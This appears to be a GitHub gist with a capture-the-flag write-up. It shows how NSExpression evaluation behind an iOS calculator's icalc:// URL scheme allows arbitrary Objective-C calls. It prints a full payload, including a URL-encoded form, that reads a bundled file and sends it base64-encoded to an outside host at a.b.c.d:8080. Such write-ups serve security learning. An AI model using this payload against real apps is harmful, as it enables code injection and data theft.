Skip to content

Instantly share code, notes, and snippets.

@saelo
Last active February 21, 2023 14:37
Show Gist options
  • Star 12 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save saelo/f6e3abd0faa5447ab52f9d34efa93a4d to your computer and use it in GitHub Desktop.
Save saelo/f6e3abd0faa5447ab52f9d34efa93a4d to your computer and use it in GitHub Desktop.
Writeup for the "Dezhou Instrumentz" challenge from the Real World CTF Qualifier 2019

Dezhou Instrumentz

The challenge consisted of an iOS app (Calc.app) which implemented a simple calculator. Moreover, the app also registered a custom URL scheme (icalc://) which would simply evaluate the content of the URL. The calculator was implemented using NSExpressions and the input string would simply be parsed as such an expression and executed. NSExpressions are pretty powerful and allow for example calls to ObjC Methods (e.q. typing in sqrt(42) would end up calling +[_NSPredicateUtilities sqrt:@42]). Further, there are two interesting helper functions available in NSExpressions:

FUNCTION(obj, 'foo', "bar")

Which will result in a call of the method 'foo' on object obj with parameter "bar" (an NSString).

And

CAST("MyClass", "Class")

Which will result in a reference to the MyClass ObjC class as result. (Check the implementation of [_NSPredicateUtilities castObject:toType:] in Foundation.framework).

Combining these, it is possible to call any ObjC method in the process.

The final payload then performs the following series of ObjC method calls:

NSString* path = [[NSBundle main] pathForResource:"flag" ofType:""];
NSString* flag = [[NSData dataWithContentsOfFile:path] base64Encoding];

NSString* urlString = [@"http://a.b.c.d:8080/" stringByAppendingString:flag];
NSURL* url = [NSURL URLWithString:urlString];
[NSData dataWithContentsOfURL:url];

In NSExpression format:

FUNCTION(CAST("NSData","Class"),'dataWithContentsOfURL:',FUNCTION(CAST("NSURL","Class"),'URLWithString:',FUNCTION("http://a.b.c.d:8080/",'stringByAppendingString:',FUNCTION(FUNCTION(CAST("NSData","Class"),'dataWithContentsOfFile:',FUNCTION(FUNCTION(CAST("NSBundle","Class"),'mainBundle'),'pathForResource:ofType:',"flag","")),'base64Encoding'))))

And in URL encoded form (as submitted to the challenge server):

icalc://FUNCTION%28CAST%28%22NSData%22%2C%22Class%22%29%2C%27dataWithContentsOfURL%3A%27%2CFUNCTION%28CAST%28%22NSURL%22%2C%22Class%22%29%2C%27URLWithString%3A%27%2CFUNCTION%28%22http%3A%2F%2Fa.b.c.d%3A8080%2F%22%2C%27stringByAppendingString%3A%27%2CFUNCTION%28FUNCTION%28CAST%28%22NSData%22%2C%22Class%22%29%2C%27dataWithContentsOfFile%3A%27%2CFUNCTION%28FUNCTION%28CAST%28%22NSBundle%22%2C%22Class%22%29%2C%27mainBundle%27%29%2C%27pathForResource%3AofType%3A%27%2C%22flag%22%2C%22%22%29%29%2C%27base64Encoding%27%29%29%29%29
@judicieux
Copy link

Really nice!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment